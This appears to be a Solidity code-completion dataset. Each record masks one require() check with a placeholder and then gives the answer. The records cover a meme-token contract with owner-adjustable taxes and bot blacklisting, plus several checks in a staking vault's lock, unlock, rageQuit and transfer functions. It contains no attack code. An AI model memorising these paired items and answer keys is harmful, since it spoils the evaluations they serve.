function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract YAMATOINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _buyMarketingFee = 4;
uint256 private _previousBuyMarketingFee = _buyMarketingFee;
uint256 private _buyLiquidityFee = 1;
uint256 private _previousBuyLiquidityFee = _buyLiquidityFee;
uint256 private _buyDevFee = 1;
uint256 private _previousBuyDevFee = _buyDevFee;
uint256 private _sellMarketingFee = 4;
uint256 private _previousSellMarketingFee = _sellMarketingFee;
uint256 private _sellLiquidityFee = 1;
uint256 private _previousSellLiquidityFee = _sellLiquidityFee;
uint256 private _sellDevFee = 1;
uint256 private _previousSellDevFee = _sellDevFee;
uint256 private tokensFordev;
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
address payable private _DevWallet;
address payable private _MarketingWallet;
address payable private _liquidityWallet;
string private constant _name = "YAMATO INU";
string private constant _symbol = "$YAMATO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private swapping;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private tradingActiveBlock = 0; // 0 means trading is not active
uint256 private blocksToBlacklist = 2;
uint256 private _maxBuyAmount = _tTotal;
uint256 private _maxSellAmount = _tTotal;
uint256 private _maxWalletAmount = _tTotal;
uint256 private swapTokensAtAmount = 0;
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event MaxSellAmountUpdated(uint _maxSellAmount);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function setSwapEnabled(bool onoff) external onlyOwner(){
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapBack() private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function setBots(address[] memory bots_) public onlyOwner {
}
function setMaxBuyAmount(uint256 maxBuy) public onlyOwner {
}
function setMaxSellAmount(uint256 maxSell) public onlyOwner {
}
function setMaxWalletAmount(uint256 maxToken) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 newAmount) public onlyOwner {
}
function setMarketingWallet(address MarketingWallet) public onlyOwner() {
}
function setDevWallet(address DevWallet) public onlyOwner() {
}
function setLiquidityWallet(address liquidityWallet) public onlyOwner() {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function manualbuy(uint256 buyMarketingFee, uint256 buyLiquidityFee, uint256 buyDevFee) external onlyOwner {
}
function manualsell(uint256 sellMarketingFee, uint256 sellLiquidityFee, uint256 sellDevFee) external onlyOwner {
require(<FILL_ME>)
_sellMarketingFee = sellMarketingFee;
_sellLiquidityFee = sellLiquidityFee;
_sellDevFee = sellDevFee;
}
function setBlocksToBlacklist(uint256 blocks) public onlyOwner {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function delBot(address notbot) public onlyOwner {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
}
receive() external payable {}
function manualswap() public authorized() {
}
function manualsend() public authorized() {
}
function withdrawStuckETH() external authorized {
}
function _getTotalFees(bool isSell) private view returns(uint256) {
}
}
| sellMarketingFee+sellLiquidityFee+sellDevFee<=60,"Must keep sell taxes below 60%" | 244,631 | sellMarketingFee+sellLiquidityFee+sellDevFee<=60 |
"UniversalVault: insufficient balance" | // SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.7.6;
pragma abicoder v2;
import {SafeMath} from "./SafeMath.sol";
import {IERC20} from "./IERC20.sol";
import {Initializable} from "./Initializable.sol";
import {EnumerableSet} from "./EnumerableSet.sol";
import {Address} from "./Address.sol";
import {TransferHelper} from "./TransferHelper.sol";
import {EIP712} from "./EIP712.sol";
import {ERC1271} from "./ERC1271.sol";
import {OwnableERC721} from "./OwnableERC721.sol";
import {ECDSA} from "./ECDSA.sol";
import {IRageQuit} from "./StakingCenterHaVa.sol";
interface IERC1271 {
function isValidSignature(bytes32 _messageHash, bytes memory _signature)
external
view
returns (bytes4 magicValue);
}
interface IUniversalVaultB {
/* user events */
event Locked(address delegate, address token, uint256 amount);
event Unlocked(address delegate, address token, uint256 amount);
event RageQuit(address delegate, address token, bool notified, string reason);
/* data types */
struct LockData {
address delegate;
address token;
uint256 balance;
}
/* initialize function */
function initialize() external;
/* user functions */
function lock(
address token,
uint256 amount,
bytes calldata permission
) external;
function unlock(
address token,
uint256 amount,
bool send,
bytes calldata permission
) external;
function rageQuit(address delegate, address token)
external
returns (bool notified, string memory error);
function transferERC20(
address token,
address to,
uint256 amount
) external;
function transferETH(address to, uint256 amount) external payable;
/* pure functions */
function calculateLockID(address delegate, address token)
external
pure
returns (bytes32 lockID);
/* getter functions */
function getPermissionHash(
bytes32 eip712TypeHash,
address delegate,
address token,
uint256 amount,
uint256 nonce
) external view returns (bytes32 permissionHash);
function getNonce() external view returns (uint256 nonce);
function owner() external view returns (address ownerAddress);
function getLockSetCount() external view returns (uint256 count);
function getLockAt(uint256 index) external view returns (LockData memory lockData);
function getBalanceDelegated(address token, address delegate)
external
view
returns (uint256 balance);
function getBalanceLocked(address token) external view returns (uint256 balance);
function checkBalances() external view returns (bool validity);
}
/// @title Vault
/// @notice Vault for isolated storage of staking tokens
/// @dev Warning: not compatible with rebasing tokens
contract VaultB is
IUniversalVaultB,
EIP712("UniversalVault", "1.0.0"),
ERC1271,
OwnableERC721,
Initializable
{
using SafeMath for uint256;
using Address for address;
using Address for address payable;
using EnumerableSet for EnumerableSet.Bytes32Set;
/* constant */
// Hardcoding a gas limit for rageQuit() is required to prevent gas DOS attacks
// the gas requirement cannot be determined at runtime by querying the delegate
// as it could potentially be manipulated by a malicious delegate who could force
// the calls to revert.
// The gas limit could alternatively be set upon vault initialization or creation
// of a lock, but the gas consumption trade-offs are not favorable.
// Ultimately, to avoid a need for fixed gas limits, the EVM would need to provide
// an error code that allows for reliably catching out-of-gas errors on remote calls.
uint256 public constant RAGEQUIT_GAS = 500000;
bytes32 public constant LOCK_TYPEHASH =
keccak256("Lock(address delegate,address token,uint256 amount,uint256 nonce)");
bytes32 public constant UNLOCK_TYPEHASH =
keccak256("Unlock(address delegate,address token,uint256 amount,uint256 nonce)");
/* storage */
uint256 private _nonce;
mapping(bytes32 => LockData) private _locks;
EnumerableSet.Bytes32Set private _lockSet;
/* initialization function */
function initializeLock() external initializer {}
function initialize() external override initializer {
}
/* ether receive */
receive() external payable {}
/* internal overrides */
function _getOwner() internal view override(ERC1271) returns (address ownerAddress) {
}
/* pure functions */
function calculateLockID(address delegate, address token)
public
pure
override
returns (bytes32 lockID)
{
}
/* getter functions */
function getPermissionHash(
bytes32 eip712TypeHash,
address delegate,
address token,
uint256 amount,
uint256 nonce
) public view override returns (bytes32 permissionHash) {
}
function getNonce() external view override returns (uint256 nonce) {
}
function owner()
public
view
override(IUniversalVaultB, OwnableERC721)
returns (address ownerAddress)
{
}
function getLockSetCount() external view override returns (uint256 count) {
}
function getLockAt(uint256 index) external view override returns (LockData memory lockData) {
}
function getBalanceDelegated(address token, address delegate)
external
view
override
returns (uint256 balance)
{
}
function getBalanceLocked(address token) public view override returns (uint256 balance) {
}
function checkBalances() external view override returns (bool validity) {
}
/* user functions */
/// @notice Lock ERC20 tokens in the vault
/// access control: called by delegate with signed permission from owner
/// state machine: anytime
/// state scope:
/// - insert or update _locks
/// - increase _nonce
/// token transfer: none
/// @param token Address of token being locked
/// @param amount Amount of tokens being locked
/// @param permission Permission signature payload
function lock(
address token,
uint256 amount,
bytes calldata permission
)
external
override
onlyValidSignature(
getPermissionHash(LOCK_TYPEHASH, msg.sender, token, amount, _nonce),
permission
)
{
// get lock id
bytes32 lockID = calculateLockID(msg.sender, token);
// add lock to storage
if (_lockSet.contains(lockID)) {
// if lock already exists, increase amount
_locks[lockID].balance = _locks[lockID].balance.add(amount);
} else {
// if does not exist, create new lock
// add lock to set
assert(_lockSet.add(lockID));
// add lock data to storage
_locks[lockID] = LockData(msg.sender, token, amount);
}
// validate sufficient balance
require(<FILL_ME>)
// increase nonce
_nonce += 1;
// emit event
emit Locked(msg.sender, token, amount);
}
/// @notice Unlock ERC20 tokens in the vault
/// access control: called by delegate with signed permission from owner
/// state machine: after valid lock from delegate
/// state scope:
/// - remove or update _locks
/// - increase _nonce
/// token transfer: none
/// @param token Address of token being unlocked
/// @param amount Amount of tokens being unlocked
/// @param permission Permission signature payload
function unlock(
address token,
uint256 amount,
bool send,
bytes calldata permission
)
external
override
onlyValidSignature(
getPermissionHash(UNLOCK_TYPEHASH, msg.sender, token, amount, _nonce),
permission
)
{
}
/// @notice Forcibly cancel delegate lock
/// @dev This function will attempt to notify the delegate of the rage quit using
/// a fixed amount of gas.
/// access control: only owner
/// state machine: after valid lock from delegate
/// state scope:
/// - remove item from _locks
/// token transfer: none
/// @param delegate Address of delegate
/// @param token Address of token being unlocked
function rageQuit(address delegate, address token)
external
override
onlyOwner
returns (bool notified, string memory error)
{
}
/// @notice Transfer ERC20 tokens out of vault
/// access control: only owner
/// state machine: when balance >= max(lock) + amount
/// state scope: none
/// token transfer: transfer any token
/// @param token Address of token being transferred
/// @param to Address of the recipient
/// @param amount Amount of tokens to transfer
function transferERC20(
address token,
address to,
uint256 amount
) external override onlyOwner {
}
/// @notice Transfer ERC20 tokens out of vault
/// access control: only owner
/// state machine: when balance >= amount
/// state scope: none
/// token transfer: transfer any token
/// @param to Address of the recipient
/// @param amount Amount of ETH to transfer
function transferETH(address to, uint256 amount) external payable override onlyOwner {
}
}
| IERC20(token).balanceOf(address(this))>=_locks[lockID].balance,"UniversalVault: insufficient balance" | 244,740 | IERC20(token).balanceOf(address(this))>=_locks[lockID].balance |
"UniversalVault: missing lock" | // SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.7.6;
pragma abicoder v2;
import {SafeMath} from "./SafeMath.sol";
import {IERC20} from "./IERC20.sol";
import {Initializable} from "./Initializable.sol";
import {EnumerableSet} from "./EnumerableSet.sol";
import {Address} from "./Address.sol";
import {TransferHelper} from "./TransferHelper.sol";
import {EIP712} from "./EIP712.sol";
import {ERC1271} from "./ERC1271.sol";
import {OwnableERC721} from "./OwnableERC721.sol";
import {ECDSA} from "./ECDSA.sol";
import {IRageQuit} from "./StakingCenterHaVa.sol";
interface IERC1271 {
function isValidSignature(bytes32 _messageHash, bytes memory _signature)
external
view
returns (bytes4 magicValue);
}
interface IUniversalVaultB {
/* user events */
event Locked(address delegate, address token, uint256 amount);
event Unlocked(address delegate, address token, uint256 amount);
event RageQuit(address delegate, address token, bool notified, string reason);
/* data types */
struct LockData {
address delegate;
address token;
uint256 balance;
}
/* initialize function */
function initialize() external;
/* user functions */
function lock(
address token,
uint256 amount,
bytes calldata permission
) external;
function unlock(
address token,
uint256 amount,
bool send,
bytes calldata permission
) external;
function rageQuit(address delegate, address token)
external
returns (bool notified, string memory error);
function transferERC20(
address token,
address to,
uint256 amount
) external;
function transferETH(address to, uint256 amount) external payable;
/* pure functions */
function calculateLockID(address delegate, address token)
external
pure
returns (bytes32 lockID);
/* getter functions */
function getPermissionHash(
bytes32 eip712TypeHash,
address delegate,
address token,
uint256 amount,
uint256 nonce
) external view returns (bytes32 permissionHash);
function getNonce() external view returns (uint256 nonce);
function owner() external view returns (address ownerAddress);
function getLockSetCount() external view returns (uint256 count);
function getLockAt(uint256 index) external view returns (LockData memory lockData);
function getBalanceDelegated(address token, address delegate)
external
view
returns (uint256 balance);
function getBalanceLocked(address token) external view returns (uint256 balance);
function checkBalances() external view returns (bool validity);
}
/// @title Vault
/// @notice Vault for isolated storage of staking tokens
/// @dev Warning: not compatible with rebasing tokens
contract VaultB is
IUniversalVaultB,
EIP712("UniversalVault", "1.0.0"),
ERC1271,
OwnableERC721,
Initializable
{
using SafeMath for uint256;
using Address for address;
using Address for address payable;
using EnumerableSet for EnumerableSet.Bytes32Set;
/* constant */
// Hardcoding a gas limit for rageQuit() is required to prevent gas DOS attacks
// the gas requirement cannot be determined at runtime by querying the delegate
// as it could potentially be manipulated by a malicious delegate who could force
// the calls to revert.
// The gas limit could alternatively be set upon vault initialization or creation
// of a lock, but the gas consumption trade-offs are not favorable.
// Ultimately, to avoid a need for fixed gas limits, the EVM would need to provide
// an error code that allows for reliably catching out-of-gas errors on remote calls.
uint256 public constant RAGEQUIT_GAS = 500000;
bytes32 public constant LOCK_TYPEHASH =
keccak256("Lock(address delegate,address token,uint256 amount,uint256 nonce)");
bytes32 public constant UNLOCK_TYPEHASH =
keccak256("Unlock(address delegate,address token,uint256 amount,uint256 nonce)");
/* storage */
uint256 private _nonce;
mapping(bytes32 => LockData) private _locks;
EnumerableSet.Bytes32Set private _lockSet;
/* initialization function */
function initializeLock() external initializer {}
function initialize() external override initializer {
}
/* ether receive */
receive() external payable {}
/* internal overrides */
function _getOwner() internal view override(ERC1271) returns (address ownerAddress) {
}
/* pure functions */
function calculateLockID(address delegate, address token)
public
pure
override
returns (bytes32 lockID)
{
}
/* getter functions */
function getPermissionHash(
bytes32 eip712TypeHash,
address delegate,
address token,
uint256 amount,
uint256 nonce
) public view override returns (bytes32 permissionHash) {
}
function getNonce() external view override returns (uint256 nonce) {
}
function owner()
public
view
override(IUniversalVaultB, OwnableERC721)
returns (address ownerAddress)
{
}
function getLockSetCount() external view override returns (uint256 count) {
}
function getLockAt(uint256 index) external view override returns (LockData memory lockData) {
}
function getBalanceDelegated(address token, address delegate)
external
view
override
returns (uint256 balance)
{
}
function getBalanceLocked(address token) public view override returns (uint256 balance) {
}
function checkBalances() external view override returns (bool validity) {
}
/* user functions */
/// @notice Lock ERC20 tokens in the vault
/// access control: called by delegate with signed permission from owner
/// state machine: anytime
/// state scope:
/// - insert or update _locks
/// - increase _nonce
/// token transfer: none
/// @param token Address of token being locked
/// @param amount Amount of tokens being locked
/// @param permission Permission signature payload
function lock(
address token,
uint256 amount,
bytes calldata permission
)
external
override
onlyValidSignature(
getPermissionHash(LOCK_TYPEHASH, msg.sender, token, amount, _nonce),
permission
)
{
}
/// @notice Unlock ERC20 tokens in the vault
/// access control: called by delegate with signed permission from owner
/// state machine: after valid lock from delegate
/// state scope:
/// - remove or update _locks
/// - increase _nonce
/// token transfer: none
/// @param token Address of token being unlocked
/// @param amount Amount of tokens being unlocked
/// @param permission Permission signature payload
function unlock(
address token,
uint256 amount,
bool send,
bytes calldata permission
)
external
override
onlyValidSignature(
getPermissionHash(UNLOCK_TYPEHASH, msg.sender, token, amount, _nonce),
permission
)
{
// get lock id
bytes32 lockID = calculateLockID(msg.sender, token);
// validate existing lock
require(<FILL_ME>)
// update lock data
if (_locks[lockID].balance > amount) {
// substract amount from lock balance
_locks[lockID].balance = _locks[lockID].balance.sub(amount);
} else {
// delete lock data
delete _locks[lockID];
assert(_lockSet.remove(lockID));
}
// increase nonce
_nonce += 1;
// emit event
emit Unlocked(msg.sender, token, amount);
// send to owner if allowed
if (send) {
TransferHelper.safeTransfer(token, _getOwner(), amount);
}
}
/// @notice Forcibly cancel delegate lock
/// @dev This function will attempt to notify the delegate of the rage quit using
/// a fixed amount of gas.
/// access control: only owner
/// state machine: after valid lock from delegate
/// state scope:
/// - remove item from _locks
/// token transfer: none
/// @param delegate Address of delegate
/// @param token Address of token being unlocked
function rageQuit(address delegate, address token)
external
override
onlyOwner
returns (bool notified, string memory error)
{
}
/// @notice Transfer ERC20 tokens out of vault
/// access control: only owner
/// state machine: when balance >= max(lock) + amount
/// state scope: none
/// token transfer: transfer any token
/// @param token Address of token being transferred
/// @param to Address of the recipient
/// @param amount Amount of tokens to transfer
function transferERC20(
address token,
address to,
uint256 amount
) external override onlyOwner {
}
/// @notice Transfer ERC20 tokens out of vault
/// access control: only owner
/// state machine: when balance >= amount
/// state scope: none
/// token transfer: transfer any token
/// @param to Address of the recipient
/// @param amount Amount of ETH to transfer
function transferETH(address to, uint256 amount) external payable override onlyOwner {
}
}
| _lockSet.contains(lockID),"UniversalVault: missing lock" | 244,740 | _lockSet.contains(lockID) |
"UniversalVault: insufficient gas" | // SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.7.6;
pragma abicoder v2;
import {SafeMath} from "./SafeMath.sol";
import {IERC20} from "./IERC20.sol";
import {Initializable} from "./Initializable.sol";
import {EnumerableSet} from "./EnumerableSet.sol";
import {Address} from "./Address.sol";
import {TransferHelper} from "./TransferHelper.sol";
import {EIP712} from "./EIP712.sol";
import {ERC1271} from "./ERC1271.sol";
import {OwnableERC721} from "./OwnableERC721.sol";
import {ECDSA} from "./ECDSA.sol";
import {IRageQuit} from "./StakingCenterHaVa.sol";
interface IERC1271 {
function isValidSignature(bytes32 _messageHash, bytes memory _signature)
external
view
returns (bytes4 magicValue);
}
interface IUniversalVaultB {
/* user events */
event Locked(address delegate, address token, uint256 amount);
event Unlocked(address delegate, address token, uint256 amount);
event RageQuit(address delegate, address token, bool notified, string reason);
/* data types */
struct LockData {
address delegate;
address token;
uint256 balance;
}
/* initialize function */
function initialize() external;
/* user functions */
function lock(
address token,
uint256 amount,
bytes calldata permission
) external;
function unlock(
address token,
uint256 amount,
bool send,
bytes calldata permission
) external;
function rageQuit(address delegate, address token)
external
returns (bool notified, string memory error);
function transferERC20(
address token,
address to,
uint256 amount
) external;
function transferETH(address to, uint256 amount) external payable;
/* pure functions */
function calculateLockID(address delegate, address token)
external
pure
returns (bytes32 lockID);
/* getter functions */
function getPermissionHash(
bytes32 eip712TypeHash,
address delegate,
address token,
uint256 amount,
uint256 nonce
) external view returns (bytes32 permissionHash);
function getNonce() external view returns (uint256 nonce);
function owner() external view returns (address ownerAddress);
function getLockSetCount() external view returns (uint256 count);
function getLockAt(uint256 index) external view returns (LockData memory lockData);
function getBalanceDelegated(address token, address delegate)
external
view
returns (uint256 balance);
function getBalanceLocked(address token) external view returns (uint256 balance);
function checkBalances() external view returns (bool validity);
}
/// @title Vault
/// @notice Vault for isolated storage of staking tokens
/// @dev Warning: not compatible with rebasing tokens
contract VaultB is
IUniversalVaultB,
EIP712("UniversalVault", "1.0.0"),
ERC1271,
OwnableERC721,
Initializable
{
using SafeMath for uint256;
using Address for address;
using Address for address payable;
using EnumerableSet for EnumerableSet.Bytes32Set;
/* constant */
// Hardcoding a gas limit for rageQuit() is required to prevent gas DOS attacks
// the gas requirement cannot be determined at runtime by querying the delegate
// as it could potentially be manipulated by a malicious delegate who could force
// the calls to revert.
// The gas limit could alternatively be set upon vault initialization or creation
// of a lock, but the gas consumption trade-offs are not favorable.
// Ultimately, to avoid a need for fixed gas limits, the EVM would need to provide
// an error code that allows for reliably catching out-of-gas errors on remote calls.
uint256 public constant RAGEQUIT_GAS = 500000;
bytes32 public constant LOCK_TYPEHASH =
keccak256("Lock(address delegate,address token,uint256 amount,uint256 nonce)");
bytes32 public constant UNLOCK_TYPEHASH =
keccak256("Unlock(address delegate,address token,uint256 amount,uint256 nonce)");
/* storage */
uint256 private _nonce;
mapping(bytes32 => LockData) private _locks;
EnumerableSet.Bytes32Set private _lockSet;
/* initialization function */
function initializeLock() external initializer {}
function initialize() external override initializer {
}
/* ether receive */
receive() external payable {}
/* internal overrides */
function _getOwner() internal view override(ERC1271) returns (address ownerAddress) {
}
/* pure functions */
function calculateLockID(address delegate, address token)
public
pure
override
returns (bytes32 lockID)
{
}
/* getter functions */
function getPermissionHash(
bytes32 eip712TypeHash,
address delegate,
address token,
uint256 amount,
uint256 nonce
) public view override returns (bytes32 permissionHash) {
}
function getNonce() external view override returns (uint256 nonce) {
}
function owner()
public
view
override(IUniversalVaultB, OwnableERC721)
returns (address ownerAddress)
{
}
function getLockSetCount() external view override returns (uint256 count) {
}
function getLockAt(uint256 index) external view override returns (LockData memory lockData) {
}
function getBalanceDelegated(address token, address delegate)
external
view
override
returns (uint256 balance)
{
}
function getBalanceLocked(address token) public view override returns (uint256 balance) {
}
function checkBalances() external view override returns (bool validity) {
}
/* user functions */
/// @notice Lock ERC20 tokens in the vault
/// access control: called by delegate with signed permission from owner
/// state machine: anytime
/// state scope:
/// - insert or update _locks
/// - increase _nonce
/// token transfer: none
/// @param token Address of token being locked
/// @param amount Amount of tokens being locked
/// @param permission Permission signature payload
function lock(
address token,
uint256 amount,
bytes calldata permission
)
external
override
onlyValidSignature(
getPermissionHash(LOCK_TYPEHASH, msg.sender, token, amount, _nonce),
permission
)
{
}
/// @notice Unlock ERC20 tokens in the vault
/// access control: called by delegate with signed permission from owner
/// state machine: after valid lock from delegate
/// state scope:
/// - remove or update _locks
/// - increase _nonce
/// token transfer: none
/// @param token Address of token being unlocked
/// @param amount Amount of tokens being unlocked
/// @param permission Permission signature payload
function unlock(
address token,
uint256 amount,
bool send,
bytes calldata permission
)
external
override
onlyValidSignature(
getPermissionHash(UNLOCK_TYPEHASH, msg.sender, token, amount, _nonce),
permission
)
{
}
/// @notice Forcibly cancel delegate lock
/// @dev This function will attempt to notify the delegate of the rage quit using
/// a fixed amount of gas.
/// access control: only owner
/// state machine: after valid lock from delegate
/// state scope:
/// - remove item from _locks
/// token transfer: none
/// @param delegate Address of delegate
/// @param token Address of token being unlocked
function rageQuit(address delegate, address token)
external
override
onlyOwner
returns (bool notified, string memory error)
{
// get lock id
bytes32 lockID = calculateLockID(delegate, token);
// validate existing lock
require(_lockSet.contains(lockID), "UniversalVault: missing lock");
// attempt to notify delegate
if (delegate.isContract()) {
// check for sufficient gas
require(<FILL_ME>)
// attempt rageQuit notification
try IRageQuit(delegate).rageQuit{gas: RAGEQUIT_GAS}() {
notified = true;
} catch Error(string memory res) {
notified = false;
error = res;
} catch (bytes memory) {
notified = false;
}
}
// update lock storage
assert(_lockSet.remove(lockID));
delete _locks[lockID];
// emit event
emit RageQuit(delegate, token, notified, error);
}
/// @notice Transfer ERC20 tokens out of vault
/// access control: only owner
/// state machine: when balance >= max(lock) + amount
/// state scope: none
/// token transfer: transfer any token
/// @param token Address of token being transferred
/// @param to Address of the recipient
/// @param amount Amount of tokens to transfer
function transferERC20(
address token,
address to,
uint256 amount
) external override onlyOwner {
}
/// @notice Transfer ERC20 tokens out of vault
/// access control: only owner
/// state machine: when balance >= amount
/// state scope: none
/// token transfer: transfer any token
/// @param to Address of the recipient
/// @param amount Amount of ETH to transfer
function transferETH(address to, uint256 amount) external payable override onlyOwner {
}
}
| gasleft()>=RAGEQUIT_GAS,"UniversalVault: insufficient gas" | 244,740 | gasleft()>=RAGEQUIT_GAS |
"UniversalVault: insufficient balance" | // SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.7.6;
pragma abicoder v2;
import {SafeMath} from "./SafeMath.sol";
import {IERC20} from "./IERC20.sol";
import {Initializable} from "./Initializable.sol";
import {EnumerableSet} from "./EnumerableSet.sol";
import {Address} from "./Address.sol";
import {TransferHelper} from "./TransferHelper.sol";
import {EIP712} from "./EIP712.sol";
import {ERC1271} from "./ERC1271.sol";
import {OwnableERC721} from "./OwnableERC721.sol";
import {ECDSA} from "./ECDSA.sol";
import {IRageQuit} from "./StakingCenterHaVa.sol";
interface IERC1271 {
function isValidSignature(bytes32 _messageHash, bytes memory _signature)
external
view
returns (bytes4 magicValue);
}
interface IUniversalVaultB {
/* user events */
event Locked(address delegate, address token, uint256 amount);
event Unlocked(address delegate, address token, uint256 amount);
event RageQuit(address delegate, address token, bool notified, string reason);
/* data types */
struct LockData {
address delegate;
address token;
uint256 balance;
}
/* initialize function */
function initialize() external;
/* user functions */
function lock(
address token,
uint256 amount,
bytes calldata permission
) external;
function unlock(
address token,
uint256 amount,
bool send,
bytes calldata permission
) external;
function rageQuit(address delegate, address token)
external
returns (bool notified, string memory error);
function transferERC20(
address token,
address to,
uint256 amount
) external;
function transferETH(address to, uint256 amount) external payable;
/* pure functions */
function calculateLockID(address delegate, address token)
external
pure
returns (bytes32 lockID);
/* getter functions */
function getPermissionHash(
bytes32 eip712TypeHash,
address delegate,
address token,
uint256 amount,
uint256 nonce
) external view returns (bytes32 permissionHash);
function getNonce() external view returns (uint256 nonce);
function owner() external view returns (address ownerAddress);
function getLockSetCount() external view returns (uint256 count);
function getLockAt(uint256 index) external view returns (LockData memory lockData);
function getBalanceDelegated(address token, address delegate)
external
view
returns (uint256 balance);
function getBalanceLocked(address token) external view returns (uint256 balance);
function checkBalances() external view returns (bool validity);
}
/// @title Vault
/// @notice Vault for isolated storage of staking tokens
/// @dev Warning: not compatible with rebasing tokens
contract VaultB is
IUniversalVaultB,
EIP712("UniversalVault", "1.0.0"),
ERC1271,
OwnableERC721,
Initializable
{
using SafeMath for uint256;
using Address for address;
using Address for address payable;
using EnumerableSet for EnumerableSet.Bytes32Set;
/* constant */
// Hardcoding a gas limit for rageQuit() is required to prevent gas DOS attacks
// the gas requirement cannot be determined at runtime by querying the delegate
// as it could potentially be manipulated by a malicious delegate who could force
// the calls to revert.
// The gas limit could alternatively be set upon vault initialization or creation
// of a lock, but the gas consumption trade-offs are not favorable.
// Ultimately, to avoid a need for fixed gas limits, the EVM would need to provide
// an error code that allows for reliably catching out-of-gas errors on remote calls.
uint256 public constant RAGEQUIT_GAS = 500000;
bytes32 public constant LOCK_TYPEHASH =
keccak256("Lock(address delegate,address token,uint256 amount,uint256 nonce)");
bytes32 public constant UNLOCK_TYPEHASH =
keccak256("Unlock(address delegate,address token,uint256 amount,uint256 nonce)");
/* storage */
uint256 private _nonce;
mapping(bytes32 => LockData) private _locks;
EnumerableSet.Bytes32Set private _lockSet;
/* initialization function */
function initializeLock() external initializer {}
function initialize() external override initializer {
}
/* ether receive */
receive() external payable {}
/* internal overrides */
function _getOwner() internal view override(ERC1271) returns (address ownerAddress) {
}
/* pure functions */
function calculateLockID(address delegate, address token)
public
pure
override
returns (bytes32 lockID)
{
}
/* getter functions */
function getPermissionHash(
bytes32 eip712TypeHash,
address delegate,
address token,
uint256 amount,
uint256 nonce
) public view override returns (bytes32 permissionHash) {
}
function getNonce() external view override returns (uint256 nonce) {
}
function owner()
public
view
override(IUniversalVaultB, OwnableERC721)
returns (address ownerAddress)
{
}
function getLockSetCount() external view override returns (uint256 count) {
}
function getLockAt(uint256 index) external view override returns (LockData memory lockData) {
}
function getBalanceDelegated(address token, address delegate)
external
view
override
returns (uint256 balance)
{
}
function getBalanceLocked(address token) public view override returns (uint256 balance) {
}
function checkBalances() external view override returns (bool validity) {
}
/* user functions */
/// @notice Lock ERC20 tokens in the vault
/// access control: called by delegate with signed permission from owner
/// state machine: anytime
/// state scope:
/// - insert or update _locks
/// - increase _nonce
/// token transfer: none
/// @param token Address of token being locked
/// @param amount Amount of tokens being locked
/// @param permission Permission signature payload
function lock(
address token,
uint256 amount,
bytes calldata permission
)
external
override
onlyValidSignature(
getPermissionHash(LOCK_TYPEHASH, msg.sender, token, amount, _nonce),
permission
)
{
}
/// @notice Unlock ERC20 tokens in the vault
/// access control: called by delegate with signed permission from owner
/// state machine: after valid lock from delegate
/// state scope:
/// - remove or update _locks
/// - increase _nonce
/// token transfer: none
/// @param token Address of token being unlocked
/// @param amount Amount of tokens being unlocked
/// @param permission Permission signature payload
function unlock(
address token,
uint256 amount,
bool send,
bytes calldata permission
)
external
override
onlyValidSignature(
getPermissionHash(UNLOCK_TYPEHASH, msg.sender, token, amount, _nonce),
permission
)
{
}
/// @notice Forcibly cancel delegate lock
/// @dev This function will attempt to notify the delegate of the rage quit using
/// a fixed amount of gas.
/// access control: only owner
/// state machine: after valid lock from delegate
/// state scope:
/// - remove item from _locks
/// token transfer: none
/// @param delegate Address of delegate
/// @param token Address of token being unlocked
function rageQuit(address delegate, address token)
external
override
onlyOwner
returns (bool notified, string memory error)
{
}
/// @notice Transfer ERC20 tokens out of vault
/// access control: only owner
/// state machine: when balance >= max(lock) + amount
/// state scope: none
/// token transfer: transfer any token
/// @param token Address of token being transferred
/// @param to Address of the recipient
/// @param amount Amount of tokens to transfer
function transferERC20(
address token,
address to,
uint256 amount
) external override onlyOwner {
// check for sufficient balance
require(<FILL_ME>)
// perform transfer
TransferHelper.safeTransfer(token, to, amount);
}
/// @notice Transfer ERC20 tokens out of vault
/// access control: only owner
/// state machine: when balance >= amount
/// state scope: none
/// token transfer: transfer any token
/// @param to Address of the recipient
/// @param amount Amount of ETH to transfer
function transferETH(address to, uint256 amount) external payable override onlyOwner {
}
}
| IERC20(token).balanceOf(address(this))>=getBalanceLocked(token).add(amount),"UniversalVault: insufficient balance" | 244,740 | IERC20(token).balanceOf(address(this))>=getBalanceLocked(token).add(amount) |
"Pool is not accepting staking right now." | // SPDX-License-Identifier: MIT
